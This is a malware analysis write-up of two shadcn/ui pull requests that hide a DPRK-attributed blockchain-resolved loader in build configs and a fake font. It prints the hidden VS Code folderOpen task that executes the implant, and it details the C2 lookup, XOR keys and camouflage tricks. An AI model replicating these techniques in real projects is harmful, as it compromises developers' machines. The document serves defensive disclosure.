Research/polinrider-shadcn-ui
MalwareNo CVEHighPublic

Two open PRs, one wallet, DPRK PolinRider in shadcn/ui

Two still-open PRs against shadcn-ui/ui carry the same NullReceiver loader OSM tracks as PolinRider. Same Ethereum wallet, live C2 in a zero-value transfer. One PR also drops Fake Font on folderOpen. Static only. I did not run the implant or talk to the C2.

Name
Two open PRs, one wallet, DPRK PolinRider in shadcn/ui
Type
Malware reverse-engineering
CVE
n/a
CVE Risk
high
Disclosure Status
public
Vendor
n/a (PolinRider / NullReceiver cluster)
Affected
Reviewers and anyone who clones those PR branches or templates; VS Code / Cursor folderOpen on PR #10321
Published
20 Sept 2026
Updated
20 Sept 2026
Tags
malware, supply-chain, polinrider, nullreceiver, shadcn, github, fake-font, etherhiding

The calendar PR was not about the calendar

Static analysis of GitHub PRs #7716 and #10321, as reported by @eastsidemccarty / OpenSourceMalware issue #11971. Samples pulled 2026-09-20. Isolated lab. I did not execute the malware. I did not talk to the C2.

The claim is real. Both PRs were still open against shadcn-ui/ui. Both contain the same North Korea-attributed PolinRider loader that OpenSourceMalware has been tracking since March 2026. Independently:

  • The appended JavaScript is a NullReceiver Ethereum dead-drop loader. After stripping the campaign ID it is byte-identical across both PRs.
  • The hardcoded wallet is 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. Same wallet OSM documented in August 2026 in the npm packages bianira-ui and fluid-type-ui.
  • As of 2026-09-20 16:43 UTC that wallet's latest zero-value transfer encodes C2 166.88.134.75, with the ASCII trailer helloipbot!!. The same wallet has rotated C2 five times since it was funded on 2026-07-25 (OSM's published IP 166.88.134.62 was generation 1).
  • PR #10321 is worse than the issue described: it also drops the Fake Font VS Code folderOpen vector (fa-solid-400.woff2 executed as Node).
  • Both GitHub accounts look like compromised real developers, not sockpuppets. stefann01 was spray-infected across their entire account on 2026-09-10 and 2026-09-17, including other open PRs against other people's repos.

Neither PR should be merged. The calendar / image-upload feature code can be salvaged. Every postcss.config.mjs, tailwind.config.js, .vscode/tasks.json, and "font" file in those diffs cannot.

I am not publishing a decoder kit. I am publishing the map, the wallet, and why a 29 KB blob on the last line of a PostCSS config is a better supply-chain trick than a malicious button.tsx.

What was claimed

On 2026-09-20, 6mile (@eastsidemccarty) posted that two pending PRs against shadcn/ui hide DPRK malware, and opened issue #11971. The issue named:

PR Title Fork Marker they cited
#7716 [bug]: Calendar year, month dropdown height issue #7680 shakin-shahria/ui global.i="A9-…"
#10321 feat: Image upload component stefann01/ui same family

They said the payload uses javascript-obfuscator-style packing, eval / spawn, and rotating public Ethereum JSON-RPC endpoints, appended after legitimate config so it drowns in a large diff.

That is an accurate description of family 1. PR #10321 also carries a second family they did not spell out in the issue body.

PR #7716 - a one-line CSS fix wearing 29 KB of loader

Opened 2025-07-01. Still open, mergeable_state: dirty. Commit b42f39f. AuthorDate 2025-07-01 13:11:59 +0600 (Dhaka). CommitDate 2025-07-01 09:12:07 +0200 (Europe). Same person string, two timezones. Diff: 9 files, +408 / -383. Mostly CRLF conversion.

The advertised change in calendar.tsx is real and tiny: max-h-[150px] overflow-auto on the year dropdown. The PR body also claims fromYear / toYear props that were never added. Cover story padding. The malware is not in the component. It is a ~29,448-byte obfuscated blob jammed onto the last line of config files after a few hundred spaces, so GitHub's split diff shows "the file changed" and a human reviewer sees a wall of whitespace.

Infected in this PR:

File Marker
apps/v4/postcss.config.mjs A9-3142-2
templates/monorepo-next/packages/ui/postcss.config.mjs A9-3142-2
packages/shadcn/test/fixtures/**/tailwind.config.js (4 files) A9-3142-3

templates/monorepo-next/apps/web/postcss.config.mjs was touched (CRLF plus a createRequire import) but does not contain the payload. The implant is sloppy. .gitignore adds config.bat (the Windows drop that PolinRider does not want committed) and still ignores .vscode.

PR #10321 - a real component, two loaders, and a VS Code landmine

Opened 2026-04-07. Still open, labeled blocked by: unverified commits. Commit c8fa548. AuthorDate 2026-04-07 13:16:05 +0300. CommitDate 2026-08-18 18:26:12 +0200 - four months later. Pushed to GitHub 2026-09-17 01:13:04 UTC (public events), three days before the X post. Diff: 51 files, +67,746 / -57,354. The line count is a lie: most of it is LF to CRLF on generated registry.json / __index__.tsx / pnpm-lock.yaml.

The image-upload component, docs, and examples are genuine contributor work. A surviving clean commit on the same fork, 3e01b80, is +975 / 20 files of feature only - no postcss blob, no fonts, no .vscode. Current c8fa548 kept that AuthorDate (+0300) and rewrote the commit four months later (+0200) to inject the dual implant. I found no loader inside image-upload.tsx itself. The malware rides along in configs and a fake font.

Family 1 - NullReceiver loader (global.i="A9-0317-4"), byte-identical to PR #7716 except the campaign ID:

  • apps/v4/postcss.config.mjs
  • templates/next-app/postcss.config.mjs
  • templates/next-monorepo/packages/ui/postcss.config.mjs
  • packages/tests/fixtures/{next-app,next-app-init,remix-app}/postcss.config.mjs

Family 2 - Fake Font wrapper around the same stage-1 (global['!']='9-0317-4'). Both the .woff2 and the tailwind append unpack (javascript-obfuscator plus a second y7 shuffle) to the identical 16,674-byte NullReceiver loader as family 1. Not a different RAT. Same /0x/cls plus /0x/ls, same XOR keys, same wallet. The wrapper only changes how it gets executed:

  • .vscode/tasks.json - hidden folderOpen task named eslint-check that runs node …/fa-solid-400.woff2
  • .vscode/settings.json - task.allowAutomaticTasks: true, debug.openDebug: neverOpen, plus a decoy npm run lint on folder open
  • .gitignore stops ignoring .vscode so the task file is committed, and adds config.bat
  • packages/shadcn/test/fixtures/frameworks/next-monorepo/packages/ui/src/public/fonts/fa-solid-400.woff2 - ASCII JavaScript, 37,717 bytes, not a font
  • Surrounding fa-brands-400.* / fa-regular-400.* / fa-solid-900.* are real Font Awesome 5 files used as camouflage
  • README.md in that fonts directory is leftover copy about a "Blockchain Explorer application" - a paste from some other infected repo
  • The same global['!']='9-0317-4' family is also appended to the four tailwind.config.js test fixtures

Campaign IDs A9-0317-4 and 9-0317-4 are the same implant ID with a different global slot (i vs !).

Family 1: what the loader actually does

javascript-obfuscator string-array plus rotate. After rotating the 297-entry array in a sandbox (array shuffle only - the HTTP/spawn body was never executed) the three 29,448-byte blobs collapse to the same program.

Run when PostCSS / Tailwind config is evaluated. postcss.config.mjs is loaded by Next.js / PostCSS at build and dev-server start. tailwind.config.js is loaded by Tailwind. createRequire(import.meta.url) is added so ESM configs can require('node:child_process'). A maintainer clicking "preview this PR" or a developer running pnpm dev on the branch is enough.

Resolve C2 via NullReceiver. Hardcoded attacker wallet: 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a.

The loader races these public Ethereum JSON-RPC endpoints (plus process.env.ETH_RPC_URL if set):

  • https://1rpc.io/eth
  • https://eth.drpc.org
  • https://ethereum-rpc.publicnode.com
  • https://eth-mainnet.public.blastapi.io

Fallback indexer:

Plain text
https://eth.blockscout.com/api?module=account&action=txlist&address=<SENDER>&startblock=0&endblock=99999999&page=1&offset=20&sort=desc&filterby=from

It finds the wallet's most recent outbound transaction, takes the 20-byte to address, and reads two IPv4s from bytes [0:4] and [4:8]. That is NullReceiver: a zero-value, zero-calldata transfer whose recipient is not a person, it is an IP. The remaining 12 bytes of the current to address are ASCII helloipbot!!.

BLOCK_MULTIPLE = 1000. On-chain, the wallet emits a new blank transfer about every 1,000 blocks (nonce 409 as of this writing). The loader's search is: eth_blockNumber then race ±1 around latest and latest % 1000, then a nonce binary search (NONCE_FANOUT=12), then Blockscout. That matches the beacon cadence.

Pull stage 2, XOR it, eval it, spawn it. Once it has IP P:

Plain text
global['_V']   = campaign id          // "A9-3142-2" / "A9-0317-4"
global['_H']   = http://P:80
global['_H2']  = http://P2:80         // second decoded IP, often a duplicate
global['_t_s'] = http://P:443
global['_t_u'] = http://P:80

It then talks cleartext HTTP even on port 443:

URL Repeating-key XOR Then
http://P:443/0x/cls q4FZkxX{!h,Sr3=@ eval in-process and detached node -e
http://P:443/0x/ls y-p_>d$0B&@^1aQk spawn only (boot)

Headers: Chrome 131 User-Agent, Sec-V: <campaign id>. Payload is either the response body XOR'd, or header x-payload-b64 (base64 then XOR). Stage-1 writes no files - no config.bat, no fs. Persistence here is the detached node -e. config.bat in .gitignore is a hide for a later Windows stage, not something this blob drops.

That JavaScript is:

  1. eval'd in the current Node process (prefixed with the global['_V'] / ['_H'] / require prelude)
  2. spawn('node', ['-e', prelude+payload], { detached: true, stdio: 'ignore', windowsHide: true }).unref() so it outlives the build

I did not fetch /0x/cls or /0x/ls. Public reporting on this family says the second stage is the Lazarus stealer stack (BeaverTail / InvisibleFerret). The loader I recovered is sufficient to say this is a RAT dropper with a live C2. I am not publishing the 29 KB blob.

Family 2: Fake Font, or "eslint-check"

PR #10321's .vscode/tasks.json:

JSON
{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./packages/shadcn/test/fixtures/frameworks/next-monorepo/packages/ui/src/public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./packages/shadcn/test/fixtures/frameworks/next-monorepo/packages/ui/src/public/fonts/fa-solid-400.woff2) || echo ''",
  "hide": true,
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

Unix or Windows. Hidden. Never shown. Runs when the folder is opened in VS Code / Cursor / VSCodium if automatic tasks are allowed. settings.json sets task.allowAutomaticTasks: true to make that more likely.

file(1) on fa-solid-400.woff2:

Plain text
ASCII text, with very long lines (37717), with no line terminators

It starts global['!']='9-0317-4'; and is a heavier javascript-obfuscator packing (1,089-string array plus a second char-packing layer). Same campaign ID as the postcss loader. This is the Fake Font play OSM and Cybernews documented for Contagious Interview: disguise a Node implant as a .woff2, trigger it from tasks.json, hide it next to real font files.

The tailwind-config copies (global['!']='9-0317-4', ~37.5 KB) are a different obfuscator run of the same stage-1, not a byte-for-byte copy of the woff2. Two wrappers, one implant. Campaign IDs line up: font/tailwind store 9-0317-4 in global['!'] and then set _V = "A"+"9-0317-4"; postcss stores A9-0317-4 in global.i directly.

/0x/cls (XOR q4FZkxX{!h,Sr3=@) is eval plus detached node -e. /0x/ls (XOR y-p_>d$0B&@^1aQk) is spawn-only, the boot path. BeaverTail / InvisibleFerret are not in these files; they would come down that HTTP path. I did not fetch it.

The wallet is live today

Read-only Blockscout lookup, 2026-09-20:

Plain text
from:  0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
to:    0xa658864ba658864b68656c6c6f6970626f742121
value: 0
input: 0x
gas:   21000
nonce: 409
time:  2026-09-20 16:43:47 UTC
tx:    0x8ac2736a59e0c2ab6c8bfbd41928f4c1ce403dc3f9ca9521f8be42deb48a755b
Plain text
a6 58 86 4b  a6 58 86 4b  68 65 6c 6c 6f 69 70 62 6f 74 21 21
166.88.134.75 166.88.134.75  h  e  l  l  o  i  p  b  o  t  !  !

C2 IPs decoded from this wallet's outbound to addresses (do not connect):

Window IP Notes
2026-07-25 to 08-22 166.88.134.62 OSM's published IOC
2026-08-22 to 08-27 23.27.13.135
~2026-08-31 to 09-03 166.88.73.46
2026-09-04 to 09-17 193.247.144.38
2026-09-17 to present 166.88.134.75 same /24 as OSM, octet 62 to 75

Wallet funded 2026-07-25, about 410 outbound blank transfers, about every 1,000 blocks, matching BLOCK_MULTIPLE = 0x3e8. Trailer helloipbot!! never changes. Do not connect to any of those IPs.

Who submitted the PRs

These are not fresh sockpuppets. They are old, public developer accounts that match PolinRider's actual playbook: steal a GitHub session, infect every repo the account can push, then ride any open PR into a high-value target.

shakin-shahria - PR #7716. GitHub since 2020-03-27. Name Shakin Shahria. Location Dhaka. Blog shakin.dev. About 50 public repos of homework / Laravel / RAG projects. Bio: "Software Engineer passionate about AI integrations." Author tz +0600 vs committer tz +0200 on the same commit is the operator's machine. Every other public commit from this account is +06:00. This is their only outbound PR to a popular OSS repo. The PR body invents changes that are not in the diff. They went back to student commits days later and never touched #7716 again. Recent public events are noisy pushes to the profile README repo, not a Sep-2026 spray. The malicious PR is 14 months old - a leftover from an earlier compromise. Treat as account takeover, not a sockpuppet.

stefann01 - PR #10321. GitHub since 2017-08-11. Name Stefan Mares. Blog https://stefanmares.dev/. Frontend / React. Real contribution history (merged typebox-workbench#12 in 2024, years of dev-assistant work). Romanian +0300 author dates on the clean feature; +0200 committer date on the infected rewrite (Romania is not on +0200 in August).

2026-09-10 ~04:05-04:13 UTC and 2026-09-17 ~01:11-01:13 UTC: public events show a burst of pushes across all of their repos in a few minutes - ui, fhloston-paradise, project-eleven, react-next-js-demo, galaga, photographySite, photoPortofolio, css-unit-converter, typebox-workbench, image_in_characters, dev-assistant, bubble-animation, test_image, theming, even D-Learning76/d-learning. That is automation, not a human.

Confirmed extra infections (same campaign ID A9-0317-4 / same Fake Font task template):

Open PRs against other people's repos were updated in the same Sep 17 burst and carry Fake Font: niksumeiko/project-eleven#2 (some commits authored as empty sock stefan884, created 2026-03-19), niksumeiko/fhloston-paradise#6, and the shadcn PR. The operator is not just poisoning the victim's own GitHub. They are using the victim's existing PRs as a trampoline into whatever the victim already had in review.

Dual implant vs #7716: this PR sat unmerged for months, so the 2026 toolkit could add Fake Font (hits the reviewer laptop on folderOpen even if the PR never merges) on top of NullReceiver (hits downstream if it does). A 51-file "new component" rebase hides fonts plus .vscode; a 9-file CSS fix cannot.

Treat stefann01 as a fully compromised account until they rotate credentials, audit every repo, and close or rebuild every open PR.

Why shadcn is a better target than an npm package

shadcn/ui is not consumed the way lodash is. The CLI copies component source into the app. A malicious button.tsx that merged even briefly would be committed into thousands of application repos and would never show up in package-lock.json, Socket, npm audit, or Snyk.

These two PRs did not put the RAT in the component. They put it in:

  1. Repo templates (templates/next-app/postcss.config.mjs, monorepo ui package) - would ship to create / example apps.
  2. The docs app's own apps/v4/postcss.config.mjs - executes on the first pnpm dev / Vercel preview of the PR.
  3. Test fixtures - execute in CI when tests load Tailwind/PostCSS.
  4. VS Code automatic tasks - execute when a maintainer opens the PR branch in Cursor.

Important nuance: npx shadcn add image-upload / add calendar copies the TSX, which is clean in both PRs. The RAT is not in the component. The copy-paste kill chain for these two diffs is:

  • npx shadcn init / create-from-template then infected templates/*/postcss.config.mjs
  • maintainer pnpm dev or Vercel preview of the PR then infected apps/v4/postcss.config.mjs
  • opening the branch in VS Code/Cursor (PR #10321) then Fake Font folderOpen

The 149-byte templates/…/apps/web/postcss.config.mjs in both PRs looks "clean" (no 29 KB blob) but it is export { default } from "@workspace/ui/postcss.config" plus createRequire. It re-exports the infected sibling. Same bug in both PRs, nine months apart - a fingerprint of the implant script, not of two humans.

GitHub's "blocked by: unverified commits" label on #10321, and the unsigned-commit bot on both, is probably why these never landed. Neutralinojs had the same inbound-PR pattern and cleaned default branches after OSM's March report.

The campaign is not two PRs. GitHub code search on default branches only (PR heads are invisible to it - which is how these hid) still finds about 1,068 folderOpen plus fa-solid-400.woff2 task files and about 116 live postcss.config.mjs EtherHiding/PolinRider loaders, plus OSM's July CSV of 2,417 repos. Other live hits worth a look: mostafizurhimself/admintoolkit-html (343 stars), admin-dashboards/react-dashboards (205 stars, GitHub template), wpeventmanager/*, hacksultan/opentemplates. I did not deep-dive those.

The CRLF rewrite is the camouflage that makes (1)-(3) survive review: GitHub renders a 30,000-line "change" that is actually newline conversion, and the 29 KB payload sits on one physical line after the last export default config;.

Attribution, carefully

I independently verified: the payload, wallet, RPC list, NullReceiver decode, x-payload-b64 plus XOR, spawn('node',['-e',…]), Fake Font tasks.json, campaign IDs A9-3142-* / A9-0317-4, and config.bat gitignore.

Those are the PolinRider / NullReceiver / Fake Font fingerprints published by OpenSourceMalware and subsequently by Wiz, Socket, and others, who attribute the cluster to DPRK Lazarus / Contagious Interview / Famous Chollima. I am not adding a new nation-state attribution. I am saying: this is that malware, in these two PRs, still open, C2 still beaconing.

IOCs

Campaign IDs

Plain text
A9-3142-2    PR #7716 postcss
A9-3142-3    PR #7716 tailwind fixtures
A9-0317-4    PR #10321 postcss; also stefann01/image_in_characters
9-0317-4     PR #10321 Fake Font / tailwind (global['!'])

Wallet / chain

Plain text
0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
0xa658864ba658864b68656c6c6f6970626f742121   # current to-address (2026-09-20)
166.88.134.75                               # decoded C2 (do not connect)
helloipbot!!                                # ASCII trailer

Endpoints the loader uses (do not connect to the C2)

Plain text
https://1rpc.io/eth
https://eth.drpc.org
https://ethereum-rpc.publicnode.com
https://eth-mainnet.public.blastapi.io
https://eth.blockscout.com/api?module=account&action=txlist&…
http://<C2>:443/0x/cls
http://<C2>:443/0x/ls
http://<C2>:80
http://<C2>:443

HTTP

Plain text
Sec-V: A9-….
x-payload-b64
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

XOR keys

Plain text
q4FZkxX{!h,Sr3=@
y-p_>d$0B&@^1aQk

Files / behavior

Plain text
global.i="A9-
global['!']='9-
fa-solid-400.woff2          # executed with node, not a font
.vscode/tasks.json          # runOn: folderOpen, label eslint-check
config.bat                  # gitignored Windows drop
createRequire(import.meta.url) grafted onto an otherwise 6-line postcss config

Sample SHA-256 (extracted JS only)

Plain text
33bd4e930830ea8adfa95ffef424c25b23060e009ef2f38780eb6ef84cc4feae  PR7716 postcss loader (A9-3142-2)
db8e837068409d3031ee353a24e9f53b6b0b9ba56b3a2f5e6e2cb037b82ccf3b  PR7716 tailwind loader (A9-3142-3)
42d7b5574463e3320f5823a21a942ba9b518a5694f2bce881edc543ec47c7328  PR10321 postcss loader (A9-0317-4)
d8fc224b55253fa996878e50717977eadbc2f7f16ec3663cfcf948ea8c6678e6  PR10321 fa-solid-400.woff2
9b2b13f73ca9e53f2c38304d375e6e70434fb332d939a04350af1d955c4d4858  PR10321 tailwind Fake Font family
abc97819cd893d1ae39b6f5e6c8fca783171ac4bb52920320c85bead7d48660d  PR10321 .vscode/tasks.json

The three 29,448-byte loaders are identical after replacing global.i="A9-XXXX-X".

Commits / forks

Plain text
shakin-shahria/ui  b42f39f72c1316adfacf946860574a465a7125be
stefann01/ui       c8fa54800e846477f4faae6c6e2194e239779108

What maintainers should do

  1. Close #7716 and #10321. Do not "just drop the config files and merge the feature." Rebuild any feature you want from a clean tree.
  2. Assume any machine that opened these branches in VS Code/Cursor, or ran pnpm dev / tests on them, needs a developer-workstation IR pass (PolinRider second stage is a stealer).
  3. Contact shakin-shahria and stefann01. stefann01 in particular has other open PRs that were force-updated on 2026-09-17.
  4. Hunt default branches of contributor forks, not just the PRs. GitHub code search does not index PR branches; stefann01/image_in_characters was sitting on main.
  5. Review anything that landed via npx shadcn add during a window where a malicious registry file could have been served. These two PRs were not merged, so the published CLI path is probably clean. The risk is reviewers and anyone who cloned the forks.

What this analysis did and did not do

Did: clone both PR HEADs; extract every infected file; sandbox-rotate the javascript-obfuscator string arrays; recover wallet, RPCs, XOR keys, spawn/eval, Fake Font trigger; read-only Blockscout decode of current C2; OSINT on both authors and adjacent repos.

Did not: execute the loader, node the .woff2, connect to 166.88.134.75, or download /0x/cls / /0x/ls. Second-stage identity (BeaverTail vs InvisibleFerret vs a newer dropper) is inferred from public PolinRider reporting, not from a sample I pulled off the wire.

I am not publishing the recovered stage-1 JavaScript. The hashes, wallet, and task JSON are enough to hunt.

Sources